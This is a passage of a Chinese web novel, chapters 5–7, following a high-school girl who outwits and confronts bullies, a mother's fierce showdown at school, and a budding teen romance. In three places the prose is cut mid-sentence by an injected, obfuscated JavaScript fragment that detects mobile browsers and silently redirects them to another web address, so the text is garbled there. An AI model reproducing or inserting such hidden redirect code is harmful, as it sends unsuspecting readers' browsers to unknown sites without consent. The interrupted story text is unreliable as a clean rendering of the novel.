“可我却觉得,女孩子太懂事了并不是什么好事,越懂事越容易活得累。”尹玉琢说,“我希望她能刁蛮任性一点,没心没肺一点,我希望她能像别人家的孩子那样,想哭就哭,想笑就笑。” 静了一会儿,梅小月又问:“那你是咋想的呢?你究竟想不想要这个孩子?” “我……我想要。”尹玉琢说,“但我不能要。” “你今年才39岁,勉强算是高龄产妇,但只要好好调理,不会有啥大问题。”梅小月说,“你生得起也养得起,为啥不能生?” “不是因为这个……”尹玉琢欲言又止。 “那是因为啥嘛?”梅小月追问。 又沉默了须臾,尹玉琢才轻声慢语地说:“如果要把这个孩子生下来,那我就得先和邱成结婚。一个女人单独抚养孩子有多苦多难,我已经经历过一次了,不想再经历第二次,我这把年纪实在折腾不起了。 笙笙会有一个弟弟或者妹妹,还会有一个继父,她不再是我的唯一,她要和另外两个人分享我的爱。虽然一碗水永远不可能端平,但我会尽我最大的努力,给两个孩子同等的爱。可邱成不一样,他是男人,男人对自己亲生的孩子都不一定有多少爱,更别说非亲生的了。哪怕他对笙笙再好,终究只是个没有血缘关系的后爸,他和笙笙成不了真正的一家人,他更做不到对两个孩子一视同仁。笙笙会觉得自己被区别对待了,她会觉得我和邱成还有我们的孩子才是一家三口,而她却成了外人,她会觉得被我抛弃了,然后她就会反过来抛弃我。只要她狠下心,什么事都做得出来。 我刚才说的这些,还有个前提,就是邱成是个心地善良、有责任心的好男人,可他要不是呢?男人都太会装了,他要是个人面兽心的混蛋呢?一个十七八岁的花季少女见天在他眼前晃,他要是生出什么邪念呢?继父侵犯继女的新闻我们看的还少吗?我这些年坚持不婚,就是怕这个,我不能让我的宝贝女儿承担这种风险。 当年我才二十岁,凭着一腔孤勇把笙笙带到这个世界上来,却没能给她一个完整的家,也没让她过上幸福快乐的生活,已经亏欠她很多了,所以我不能生下这个孩子,我不能再给笙笙制造困难了,我要把我全部的爱都给她,等我哪天嘎嘣没了,我的房子票子也全是她的,谁都别想跟她抢。” “干嘛呀,你都把我说哭了。”梅小月带着哭腔说。 “这些话我没法对笙笙说,跟你说完我心里舒坦多了。”尹玉琢的声音却含着笑意。 “纸包不住火,邱成迟早也会知道的,”梅小月提出新的问题,“你打算怎么跟他交代?” “我的子宫我做主,我不用向任何人交代。”顿了顿,尹玉琢又说:“我打算跟邱成分手了。” “啊?”梅小月惊讶,“你跟他在一起不是挺开心的吗,怎么突然要分手?” “大部分时候是开心的,但也有不开心的时候。”尹玉琢说,“邱成的前妻给他戴了绿帽子,抛夫弃子跟别人跑了,从此以后他就患上了疑心病。他老怀疑我勾三搭四,经常趁我去洗澡或者睡觉的时候查我手机,看在他长得帅的份上我才一忍再忍,可我现在已经忍够了,分手对我对他都是解脱。” “你真舍得啊?”梅小月问,“再想遇见像邱成这么帅的男人可没那么容易了。” 尹玉琢刚要接话,突然从店门口传来喊声:“有人吗?” 尹玉琢急忙高声应答:“来啦!” 幸好施南笙闪得快,躲进了隔壁那间空着的按摩房,才没被尹玉琢发现她在偷听。 她背靠着墙,抬手抹掉脸上残存的泪痕。 …… 周日晚上,酷玩电竞酒店斜对面的咖啡馆里,施南笙坐在靠窗的位置,边听歌边做卷子。 她戴着鸭舌帽和口罩,眉眼专注,有种生人勿近的气场。 她和谢垚约的九点,不到八点半谢垚就打来电话。 “房间我开好了,308。”谢垚说,“你过来吧,到了直接上楼就行。” “好,”施南笙说,“我现在过去。” 挂了电话,她点开蓝色软件,给那位“丘比特”发消息。 十三中谢垚:308,你来吧。 很会射的丘比特:我就在附近吃饭,马上到。 十三中谢垚:能麻烦你去酒店对面的咖啡馆帮我买杯冰摩卡吗?我懒得下楼了。 十三中谢垚:[转账] 很会射的丘比特:好 十三中谢垚:半糖少冰,谢谢。 很会射的丘比特:[OK] 大概十分钟后,施南笙听见有个男人点餐:“来一杯冰摩卡,半糖少冰,带走。” 未几,男人拎着打包袋走出咖啡馆,横穿马路,进了对面的电竞酒店。 施南笙拿起手机,拨打报警电话:“你好,我要举报,酷玩电竞酒店308房间,有未成年情侣开房。” 报完警,施南笙先把蓝色软件上的账号注销,再卸载软件,然后取出新卡,换回旧卡,把手机设置成免打扰模式。 做完这些,她放下手机,拿起圆珠笔,继续写方才写到一半的英语作文,刚写了两三行,谢垚打来视频电话,她放着没管。 自动挂断后,谢垚再次打过来,她依旧无视。 谢垚第三次打来时,警车呼啸而至。 施南笙停笔,不慌不忙地收拾好东西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805427|175122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背上书包走出去,藏在一株悬铃木后面,等了一阵子,用手机拍下谢垚和孟寒声被押进警车的画面,而后悄然离开。 没走多远,看见个男生蹲在绿化带旁边不知道在干嘛,他头上也扣着一顶鸭舌帽,遮住了脸又没全遮,施南笙只能瞥见一个隐约的轮廓,却轻易地认出了对方,并且鬼使神差地停住了脚步:“……路星川?” 路星川扭头看向她,虽然她戴着帽子和口罩,他还是一眼就认出她——不,在她喊出他名字的那一秒,他就知道是她了。 路星川站起来,冲她露出一个不太明显又稍显僵硬的微笑:“你好。” 施南笙:“……” 自从她因为那张偷拍照被江以桢当作假想敌严正警告以后,路星川出现在她面前的频率就显著增加,她怀疑是“巴德尔-迈因霍夫效应”①在作祟。 “你在干嘛?”施南笙其实并不是很想知道,只是没话找话。 “你身上有吃的吗?”路星川不答反问。 “没有。”施南笙摇头。 “绿化带里有只受伤的小猫,”路星川边解释边张望,“我去买点吃的把它引出来,麻烦你帮我看着它,别让它跑到马路上去。” 不等施南笙答应,路星川就跑走了。 施南笙:“……” 她刚才到底为什么要停下来? 傻站了一会儿,施南笙走到路星川刚才的位置,屈膝蹲下,清清嗓子,轻轻地“喵”了一声。 或许是她模仿得太像了,灌木丛里传来微弱的回应,一听就是小奶猫的声音。 施南笙又叫了两声,竟然就这么把小猫给叫了出来…… 是一只瘦骨伶仃的的小三花,两只眼睛都被分泌物给糊住了,一条前腿还是瘸的,实在可怜。 它一瘸一拐地来到施南笙脚边,爬上她的鞋面,蜷缩成拳头大小的一团,喵呜不停。 施南笙垂眼看着这个脏兮兮的小东西,不禁动了恻隐之心,她摘下口罩和帽子,而后捏着小猫的后脖颈,把它拎起来,放进了帽子里,就当是临时猫窝。 小家伙乖得不可思议,完全不乱动乱爬,也可能是根本没力气——它脏成这样,显然没有猫妈妈照顾,而它这么小,还不具备自主觅食的能力,能不能混口吃的全凭运气。不知道路星川会不会收养它,如果不会,那它只能继续在死亡的边缘徘徊,或许明天,或许后天,它就会一命呜呼。 正在为小猫的命运担忧,路星川跑了回来,看到窝在施南笙帽子里的一团毛绒绒,他惊讶地问:“你怎么抓住它的?” 施南笙说:“我喊了两声它就自己出来了。” 路星川看看猫,再看看手里拎着的罐头和猫条,觉得自己像个小丑。 “你打算怎么处置它?”施南笙问。 “先带去宠物医院看看吧。” “看完之后呢?” “拜托宠物医院给它找领养。”路星川观察着她的神色,“你想养它吗?” 施南笙不假思索地拒绝:“我养不了。” 路星川问:“你不喜欢猫?” 施南笙说:“现在的我还没能力负担起一条生命。” 路星川点点头,又问:“你知道这附近哪有宠物医院吗?” “你不住这附近吗?”施南笙反问。 “不住。”路星川说,“我家在永乐西街。” 施南笙没再多问,给他指了路,把帽子和猫一起交给他,就转身离开。 没走几步,听见路星川喊她:“施南笙!” 施南笙驻足回头,隔着两三米的距离,路星川注视着她:“待会儿医生肯定会问我这只猫叫什么,你帮我给它取个名字吧。” 施南笙认真想了想:“叫它‘三三’吧。” “一二三的三?” “嗯。” “有什么特殊的含义吗?” “没有,随便取的。” 其实是因为这只小猫头顶的花纹和《夏目友人帐》里的娘口三三很像,但施南笙懒得跟他解释。 没再多说什么,施南笙走了。 路星川定在原地,直到她的背影消失在夜色深处,他才向着相反的方向走去。 “三三,路三三……”路星川轻轻地摸了摸小猫的脑袋,“以后我养你呀。” 5. 第05次听说 Chapter05 周一早上的7路公交车上,施南笙再次偶遇了路星川。 路星川抓着栏杆站在后门口,和从前门挤过来的施南笙四目相对的瞬间,他笑着对她说了声“早上好”,施南笙戴着耳机,没听见他说了什么,只是回了个稍纵即逝的浅笑,就从他身后挤了过去,挤到了车厢的最后面。 其实施南笙很想问问他那只小猫怎么样了,但这辆车上有好几个十三中的学生,她怕有人偷拍,只能刻意和路星川保持距离,免得江以桢再来寻衅滋事。 到了学校,刚走到教学楼下,施南笙就看到了等在楼梯口的谢垚和孟寒声。 那俩人也看见了她,立刻气势汹汹地来到她面前,谢垚强压着怒火:“找个地方聊聊?” 施南笙毫不畏惧:“好。” 路星川站在二楼,探头看着施南笙跟着那俩混蛋朝篮球场的方向走去,不由地攥紧了拳头。 篮球场空旷无人,金色阳光铺满塑胶地面。 施南笙靠墙站着,懒得听他们啰嗦,直截了当地承认:“是我报的警。” “臭三八,你把老子当日本人整是吧?”谢垚撕下温良的假面,露出狰狞的真面目,“要不是看你是个女的,我他妈早就抽死你了!” “我们只是想和你交个朋友,又没做过什么伤害你的事,”孟寒声双手插兜,摆出一副自以为很酷的姿态,“你有必要把事情闹得这么大吗?你就不怕收不了场?” 施南笙掏出手机,在屏幕上点了几下,向他们展示:“这是昨天晚上你们被警察带走的视频。” 谢垚和孟寒声脸色一变,对视一眼,都有些不知所措。 施南笙继续说:“两个月前,你们在校外打群架,把一个职高男生打成重伤,险些不治身亡,听说你们的父母费了很大力气,才让你们只背了个留校察看的处分。如果昨晚的事被学校知道,你觉得你们的学籍还保得住吗?” “施南笙,你够会装的啊。”孟寒声怒极反笑,“原以为你是朵柔柔弱弱的小白花,没想到你是个心机婊。” 施南笙置若罔闻,自顾自说:“别再给我造谣,也别来烦我,否则后果自负。” 该说的都说完了,施南笙径自离开。 孟寒声和谢垚看着她瘦弱的背影,敢怒却不敢言。 “操他妈的,被个小婊-子给耍了,真尼玛憋屈。”谢垚不甘心,“声哥,这事儿难道就这么算了?” “算个屁!”孟寒声目露凶光,“老虎不发威,她当我是Hello Kitty,这回我一定要给她点儿颜色看看。” “可她手里捏着咱们的把柄呢。”谢垚又犹豫起来。 “瞧你那怂样儿。”孟寒声踢了他一脚,“她只是在虚张声势,还真把你给唬住了。我不信她敢把事情捅出去,要是她真把我们搞退学了,那她的好日子也到头了。” “你打算怎么做?”谢垚问。 孟寒声想了想:“你知道她妈的按摩店开在哪儿吗?” “知道,我偷偷跟踪过她。”谢垚说,“你要去砸店啊?” “砸个几把!”孟寒声照着他的后脑勺狠拍了一巴掌,“就你这狗脑子,我看你这辈子算是完球了。” 午休时间,孟寒声骑车载着谢垚,迫不及待地来到了按摩店。 尹玉琢和梅小月正在柜台吃午饭,见来了客人,梅小月率先起身招呼,把他们带进按摩房,询问几句就出去了。 不多时,尹玉琢和梅小月端着茶水和果盘进来,先被满屋子的脚臭味给熏了一下。她们放下东西,把按摩椅放平,然后从前面的长凳底下拖出个小凳子,拎着小凳子来到按摩椅后面坐下,给两位客人放松肩颈。 尹玉琢习惯性地打开话匣子:“你们看着年纪不大,应该还是学生吧?” 躺在她面前的谢垚搭腔:“嗯。” “大学生还是高中生?” “高中生。” “哪个学校的?” “十三中。” 尹玉琢“喔”了一声,闭嘴了。 她当然不会说“我女儿也是十三中的”,虽然她做的是正经按摩,堂堂正正地靠手艺吃饭,但毕竟不是什么值得炫耀的体面工作,说出去只会给施南笙丢脸。 “哎,给你看个视频。”孟寒声边说边把手机递过来。 “什么呀?”谢垚伸手接住,“不会是小-黄-片吧?” “不是,”孟寒声说,“你点开看看就知道了。” 谢垚点了播放,而后故意把手机举高,生怕尹玉琢看不清楚。 尹玉琢原本只是随意一瞥,却在这个陌生男孩的手机里窥见了施南笙的脸,她的目光就再也无法移开,死死地盯着眼前的手机屏幕。 施南笙被人按在了墙上,施南笙被人揪住了头发,施南笙被人扇了耳光,一下,两下,三下,每一下都像是狠狠抽打在尹玉琢的心上,令她心痛如绞,令她怒不可遏。 “卧槽,被打这女的不是二班那个傲了吧唧的校花嘛,”谢垚装模作样地说,“这视频谁拍的?” “七班的江以桢。”孟寒声跟他打配合。 “江以桢跟这女的有仇啊?”谢垚又问。 “你别看这女的长得跟个清纯玉女似的,其实巨他妈骚,整天在学校勾三搭四。”孟寒声煞有介事地说,“听我妹说这女的最近在跟江以桢抢男人,江以桢当然不会放过她,扇她几个耳光算是轻的。” “那她算是踢到铁板了,我听说江以桢家里有钱有势,一般人惹不起。”谢垚把手机还回去,“声哥,下回再有这种好事让你妹通知我呗,我最喜欢看女的撕逼了。” “瞧你那点儿出息。”孟寒声顺势扫了一眼隔壁那个女人如丧考妣的表情,满心暗爽,喜不自禁。 尹玉琢猛地站起来,板着脸下逐客令:“你们走吧。” 谢垚起身:“什么意思?” “我让你们滚!”尹玉琢终于忍无可忍,暴跳如雷,“都给我滚!” “你神经病吧,”谢垚也拔高音量,“你冲我发什么疯?” “犯不着跟她废话,”孟寒声起来穿鞋,“走吧。” 两个人刚走出按摩房,里面就传出女人的嚎啕,这悲痛欲绝的哭声不仅没有勾起丝毫怜悯之心,反而让他们开怀不已,出了店门就忍不住放声大笑。 回学校的路上,谢垚后知后觉地忧心起来:“声哥,你这么搞,就不怕那个老女人去学校闹吗?” “她就是个单亲妈妈,”孟寒声十分不屑,“家里连个给她撑腰的男人都没有,你觉得她敢闹吗?” “不是说为母则刚吗,”谢垚还是不放心,“万一她真敢闹呢?” “那就让她闹去。”孟寒声满不在乎,“冤有头债有主,霸凌她女儿的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805428|175122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是江以桢,跟咱们有个鸡毛关系。” “牛哇声哥,”谢垚喜形于色,“这招借刀杀人玩得真溜,小弟佩服。” “这就是他妈的智慧,”孟寒声得意洋洋,“学着点儿。” 过了一会儿,谢垚又有个疑问:“声哥,欺负施南笙的事儿你妹也有份,你就不怕连累她?” 孟寒声说:“我妹只是被人当枪使了,拿枪的那个才是罪魁祸首,就算学校真追究起来,顶多也就是记个小过,不疼不痒。” 谢垚啧了两声:“声哥,你真是亲哥。” …… 当孟寒声和谢垚找上门往尹玉琢心口上捅刀子的时候,施南笙又一次被堵在了女厕所里。 她毫不犹豫地掏出随身携带的美工刀,推出半截刀片,将刀尖对准了离她最近的孟雨薇,冷声说:“滚开。” 孟雨薇她们几个作为江大小姐的左膀右臂,在学校里横行霸道惯了,还是头回遇见敢正面刚的,顿时有点进退两难,只好看向团体中唯一拥有话语权的那个人。 “你干嘛呀?”江以桢迤迤然来到施南笙面前,完全不怕施南笙伤到她,她笃定施南笙没那个胆子,“我只是来找你说几句话,用不着这么激动,小心伤着自己。” 施南笙犹豫了下,把手放下去,但依旧紧握着美工刀,做好随时反击的准备,她绝对不会再任人欺凌。 江以桢把手机屏幕怼到施南笙面前:“麻烦你跟我解释一下,这张照片是怎么回事?” 施南笙定睛一看,又是一张她和路星川的同框照,照片里的她垂眸看着装在帽子里的猫,而路星川则看着她,虽然他们连眼神接触都没有,却被朦胧夜色烘托出一种暧昧不明的氛围。 施南笙抬眼看着江以桢:“你找人跟踪我?” 江以桢噙着凉薄的笑,神色中隐含着几分凌厉:“我不这么做,又怎么会知道你在阳奉阴违?” “我跟他只是偶遇。”施南笙说。 “我当然知道你们只是偶遇,”江以桢说,“但你可以直接走过去,为什么要停下来和他搭话呢?” 施南笙无言以对。 她也说不清自己当时为什么要停下来。 或许……或许是出于一种逆反心理,越是不被允许的事情就越想去尝试,亚当和夏娃就是因为这样才会偷食禁果。 “回答我!”江以桢咄咄逼人地催促。 “……”施南笙缄默着,视线落在江以桢白皙修长的脖子上,心里无端生出一股強烈的杀欲,她好想挥刀割开这截美丽又脆弱的脖颈,让滚烫的鲜血像烟花一样喷薄而出。 她竭力克制着,低眉敛目地说:“以后不会了。” “你最好是。”江以桢露出个还算满意的微笑,“这回我就大人不记小人过,如果还有下次,我绝不轻饶。” 目的达到,江以桢带人走了。 施南笙这回没有挨打,屈辱感却比上回挨打还要强烈。 施南笙不允许自己沉湎在这种有害情绪里,她洗把脸,回教室做题,越难的题目越能有效清空她脑子里的杂念。 午休结束后的第一节课,是班主任高桥的数学课。 刚上课没几分钟,高桥的手机响了,他接听电话,紧接着骤然变色,像是受到了什么惊吓。 电话都还没挂,高桥目光如箭般射向坐在第三排的施南笙:“施南笙!你跟我来!” 6. 第06次听说 Chapter06 施南笙跟着班主任高桥,急匆匆地来到了教导主任的办公室。 看到尹玉琢在里面坐着,施南笙暗自惊讶,快步来到她身边,血腥味霎时扑鼻而来,只见她脸上、衣服上、手上全是斑驳血迹,施南笙大惊失色:“你怎么了?哪儿来的血?妈……” “别叫我妈!”尹玉琢刚一开口,眼泪就夺眶而出,“我不是你妈!” 施南笙茫然无措,她不知道发生了什么,也不知道尹玉琢为何对她这副态度——虽然尹玉琢不是那种和蔼可亲的妈妈,但也很少无缘无故对她发火。 “别担心,你妈没有受伤,”教导主任赵云程开了口,“她身上那些血不是她的,而是猪血。” “就在刚才,你妈闯进七班教室,”七班班主任苏爽紧接着说,“把一桶猪血倒在了江以桢同学头上。” 施南笙稍一思索,眼前的状况就有了眉目。 尹玉琢之所以这么做,肯定是知道了她被江以桢欺负的事,可尹玉琢是怎么知道的呢? 她自然而然地想到了两个人——孟寒声和谢垚。 施南笙冷静地问:“江以桢呢?” 苏爽回答:“你妈浇了她一身血,她去洗澡换衣服了。” 施南笙又问:“你们应该已经联系过江以桢的家长了吧?” 苏爽点头:“联系过了。” 施南笙说:“那就等人到齐了再说吧。”她抓住尹玉琢的手腕,“走吧,我带你去洗洗。” 三个老师就这么被晾在了办公室里,面面相觑。 赵云程笑着摇了摇头,褒贬不明地说:“老高,你这个学生不简单啊。”顿了两秒,又补充一句:“她妈也不简单。” 施南笙牵着尹玉琢来到卫生间,看着尹玉琢洗手洗脸,等她洗完了,抽出一张面巾纸递过去。 尹玉琢胡乱擦了擦脸,靠坐在洗手台上,双目通红地看着施南笙:“为什么不告诉我?” 不等施南笙说话,尹玉琢又连珠炮似的说:“施南笙,我在你心里是不是特别不称职?你是不是觉得你妈是个废物,根本没本事保护你?你不是第一次被欺负了吧?你到底瞒了我多少事?” 尹玉琢再次泪如雨下,她今天流的泪比过去十年加起来都要多。 施南笙满心酸楚,但她不能哭,眼泪会暴露她的软弱,她必须以坚韧的姿态面对接下来要发生的一切,才不会被人看轻。 “我从没想过你不是个好妈妈,有些事我不告诉你,是因为我自己能解决。”施南笙嗓音微哑,“下周二我就满18岁了,是个大人了,不能再像小孩子一样事事都依靠你,我可以独自去面对生活里的困境,等到了束手无策的时候,我自然会向你求助。” “我不需要你这样……”尹玉琢用刚才擦脸的纸团擦擦眼泪,“别说你才18岁,就算你到了80岁,我也可以让你依靠。” 施南笙微微失笑:“等我到了80岁,你都是100岁的老奶奶了,还怎么让我依靠?” 尹玉琢破涕为笑,她想抱抱施南笙,可她溅了一身血,会弄脏施南笙的校服,只好退而求其次,抓住施南笙的手用力握了握,温声说:“待会儿那个女生的家长来了,你别吭声,让我来跟她理论。你妈我别的不会,吵架还是很在行的,整条凤仙街没人能吵过我。” 整理好情绪,母女俩回到办公室,等了一刻钟左右,江以桢的妈妈章婉仪领着江以桢来了。 随行的还有一位西装革履的男士,他掏出名片递给迎上前来的赵云程:“你好,我姓石,是章女士的律师。” 章女士靓妆艳服,珠光宝气,一看就是位贵妇。 落座后,章婉仪摘掉墨镜,先瞧了施南笙两眼,而后睥睨着坐在对面的尹玉琢,冷声质问:“你为什么要用血泼我女儿?” 哪怕对方带着律师,尹玉琢也毫不露怯,满腔的愤怒令她斗志昂扬,无所畏惧。 她回视着章婉仪,一本认真地说:“因为你女儿被邪魔附体了,我在帮她驱邪。” 这个回答实在过于荒谬和离奇,在场的几个人都流露出一副难以置信的表情。 章婉仪黛眉紧蹙:“你说什么?” 尹玉琢双手交叉放在胸前,从容不迫地说:“我信教,向我传教的修女曾经说过,‘人性本善,凡作恶者,皆是因邪魔附体,不得已而为之。’你女儿搞校园霸凌,肯定是住在她身体里的邪魔在作祟,我用猪血帮她驱邪,她就可以改邪归正,做个善良的好孩子了。” “疯子。”章婉仪转向身旁那位西装男,“石律师,我懒得听她胡扯八道,这件事交给你——” “我就是疯子!”尹玉琢遽然变得歇斯底里,把章婉仪吓得一激灵,“我的孩子被人按在墙上连抽几个耳光,我怎么可能不发疯!你的女儿金贵,可我的女儿也是我拼了半条命生下来,含辛茹苦养大的宝贝疙瘩,是我的心头肉,从小到大我没动过她一根手指头,我也不许任何人动她。我今天就把话撂这儿了,这件事我绝不会随便算了,我要跟你们死磕到底,我一定要让你们付出代价。我听说了,你们家有钱有势,天不怕地不怕,但我知道,你们这种人有个死穴,那就是要脸,你们把脸面看得比命都重要。打今儿起,我工作不干了,日子也不过了,我要像狗皮膏药一样缠着你的女儿,我要把她打人的视频发到网上,我要在校门口拉横幅发传单,我要让所有人都知道她是个坏女孩。等她考上大学,我就去她大学闹,等她找到工作,我就去她公司闹,等她找到婆家,我就去她婆家闹,我会让认识她的所有人都知道,她是个仗势欺人的社会败类。哪怕她跑到天涯海角,我也要缠着她,我要毁掉她的人生,我要让她发烂发臭,最后带着她一起下地狱!” 所有人都被尹玉琢状似疯癫的样子吓到了,尤其是章婉仪和江以桢,一个贵妇一个千金,她们的生活圈和社交圈里就没有尹玉琢这样的人。 章婉仪盛气全无,憋了半晌就憋出两个字:“泼妇。” “老娘就是泼妇怎么了?”尹玉琢继续唇枪舌剑,“你也就是投了个好胎,要是摊上我这种烂命,你也会变成一个泼妇。反正光脚的不怕穿鞋的,你们今天要是不给我个说法,我就豁出命去闹,闹到市教育局,闹到省教育局,我就不信你们能只手遮天。”尹玉琢调转矛头,“赵主任,你现在就打电话报警,让警察把我抓走,正好我有证据要交给警察。” 赵云程当然不会报警,之前苏爽说要报警都被他制止了,这件事要是真闹大了,伤害最大的还是学校的声誉,他必须大事化小小事化了。 赵云程联合两位班主任做起和事佬,一番苦口婆心的劝说之后,章婉仪就坡下驴,横眉竖眼地说:“我懒得跟这种一点素质都没有的人计较。” 不等尹玉琢表态,章婉仪拉着江以桢起身就走,尹玉琢也猛地站起来,她想追上去,却被高桥给拉住了,尹玉琢一边挣扎一边大喊:“你别走!让你女儿给我女儿道歉!听见没有!道歉!” 章婉仪装聋作哑,头也不回地走了。 尹玉琢收声,扭头瞪着高桥:“我是孕妇,要是我肚里的孩子有个三长两短,你赔得起吗?” 高桥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805429|175122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶紧放开她,赔着笑说:“你消消气,消消气。” 尹玉琢用满是愤恨的眼神看着三位老师,语气不善:“我手里有证据,要是让我知道你们因为今天的事给我女儿穿小鞋,老娘会把你们学校闹个鸡飞狗跳,大不了鱼死网破。” 放完狠话,尹玉琢拉着施南笙扬长而去。 走到无人处,尹玉琢笑着说:“我刚才表现得还行吧?” “嗯,”施南笙微笑着点点头,“威武霸气。” 尹玉琢抬手帮她把一缕碎发捋到耳后,眼里又泛起泪光,话音里掺着些许哽咽:“有我在,你什么都不用怕,哪怕天塌下来,也有我给你顶着。” “我不怕,”施南笙强忍泪意,保持微笑,“我什么都不怕。” 尹玉琢吸了吸鼻子:“行了,回去上课吧。” 施南笙说:“我送送你。” “送什么送,你还怕我迷路不成。”尹玉琢推她一把,“快去吧。” 施南笙回到教室,在前门喊了声“报告”。 数学课换成了生物课,生物老师瞥她一眼,什么都没问就让她进来了,老师们对好学生总是格外宽容。 全班同学的目光都凝聚在施南笙身上,唧唧喳喳地议论着,她却若无所觉,走到自己的座位,坐下就开始专心听讲,仿佛什么都没有发生。 放学后,施南笙比平时多等了一会儿,等到所有人都走光了,她才走上讲台去拿手机。 收纳盒里只剩下两部手机,她都拿上,然后走到最后一排,喊了一声:“路星川。” 趴在课桌上睡觉的男生动了动,慢吞吞地直起上身,眯着惺忪睡醒,看向施南笙。 施南笙把不属于她的那部手机递过去:“给你。” 路星川接住:“谢谢。” 刚下过一场骤雨,今日的黄昏来得比平时更早一些。 施南笙走到门口,揿下墙上的开关,灯灭了,教室陷入昏暗。她又把后门关上,背靠门板,看着路星川略微佝偻的背影,一字一句地问:“路星川,你喜欢江以桢吗?” 路星川静静地坐在那里,虽然不知道她为什么这么问,却还是乖乖回答:“不喜欢。” 施南笙又问:“那你喜欢我吗?” 路星川沉默许久,再开口时,本就低沉的嗓音又平添了几分喑哑:“喜欢。” 施南笙无声地笑了笑,接着问:“那你愿不愿意做我的男朋友?” 这次路星川答得毫不迟疑:“我愿意。” 施南笙说:“那今天就是我们交往的第一天。” 路星川说:“好。” 任由静默曼延了片刻,施南笙轻声问:“路星川,你接过吻吗?” “……没有。”路星川的声音更哑了。 “我也没有。”施南笙刻意停顿几秒,“你想不想试试?” 路星川没作声,须臾之后,他站起来,来到施南笙面前,却和她保持着半臂的距离。 他个子很高,施南笙不得不仰视他,他的眼睛在昏暗中闪着两点微光,像冬夜里的两颗黯淡星。 施南笙的脑海中无端冒出两句歌词:「小路最终绕哪去,身处黑夜看不清。你是银河的雏形,我是黑矮星。」① 施南笙伸手抓住路星川的衣襟,让他靠近自己,随即踮起脚尖。 唇与唇相贴的瞬间,胸腔里骤然爆发出山呼海啸般的悸动和欢喜。 令施南笙感到欢喜的不是路星川,而是江以桢求而不得的东西,她却唾手可得——在这场因路星川而起的纷争里,她才是那个胜利者。 7. 第07次听说 Chapter07 施南笙踩着点儿来到便利店,险些迟到。 今天看店的是花枝的老公,他前脚刚走,孟寒声和谢垚后脚就进来了。 一声“欢迎光临”卡在了嗓子里,施南笙冷眼看着他们来到收银台前,对峙几秒,谢垚臊眉耷眼地说:“那个……我们是来跟你和解的。” 施南笙微愣:“好。” 她答应得过于干脆,倒让孟寒声和谢垚不敢相信:“你……你真的愿意和解?” 不和解又能怎么样呢?无休无止地跟他们纠缠下去吗? ——如果杀人不犯法就好了,只有杀了他们才能真正解她心头之恨。 可现实生活不是复仇爽文,她不可能让所有欺负她的人都付出代价,所以她早早就学会了忍让和妥协,而且她的时间太宝贵了,她才舍不得浪费在这些烂人身上。 “冤冤相报何时了,”施南笙说,“及时止损对彼此都好。” “没错,”谢垚点了点头,“我们也是这么想的。” 他们原本准备了许多说辞,现在用不上了,一时讷讷无言。 施南笙嫌他们戳在这里碍眼,问:“还有事吗?” 谢垚还真有个事,他从口袋里掏出那盒价值129块9的杜蕾斯001,厚着脸皮问:“这个……能退吗?我还没拆封。” “退不了。” “那算了——声哥,咱们走吧。” 两个人走到门口,孟寒声突然折返:“施南笙,虽然但是,我是真的很喜欢你,你能不能……” 施南笙冷酷地打断他:“不能。” 孟寒声尴尬地笑笑,一个字也没再多说,拔腿就走。 施南笙大致能猜到他们为什么忽然要和解,但她懒得多想,转瞬就把这件事抛诸脑后了。 临近零点的时候,尹玉琢来接她,施南笙交了班,坐着尹玉琢的电动车,一溜烟就到了家。 施南笙还以为尹玉琢会跟她聊聊白天发生的事,但是并没有,尹玉琢就跟没事人一样,让她赶紧洗洗睡。 家里只有一个卫生间,不管什么时候都是施南笙先用,尹玉琢后用。 施南笙洗完澡,回到房间,刚上床,听见微信提示音,于是解锁手机,点开绿色软件,再点一下那个赛博朋克风格的陌生头像,进入聊天界面。 2049:睡了吗 这是加上好友之后路星川给她发的第一条微信。 施南笙输入:刚洗完澡,正准备睡。 想了想,又把这行字删掉,重新输入,点击发送。 Murr-ma:还没。 2049:你每天都睡这么晚吗 Murr-ma:嗯。 2049:可我从来没见你在学校睡过午觉 Murr-ma:不困。 2049:[强] 看着界面上方“对方正在输入...”那几个字出现又消失,出现又消失,施南笙觉得自己好像把天聊死了。 她从没交过男朋友,甚至连个普通朋友都没有,她完全不知道该怎么跟一个不熟悉的陌生人闲聊。 正想着要不直接说声晚安结束聊天算了,对面有了动静。 2049:你的昵称有什么特殊含义吗 2049:我刚百度了一下,没搜到结果 施南笙点开微博,搜索,截图,发给路星川。 截图上是两行文字:「Murr-ma:瓦格曼语,来自澳大利亚。用脚趾在海水里找东西的感受,看不清也寻不着,只能缓慢而生疏地摸索。」① 2049:活着大概就是这种感觉 施南笙神色怔忪。 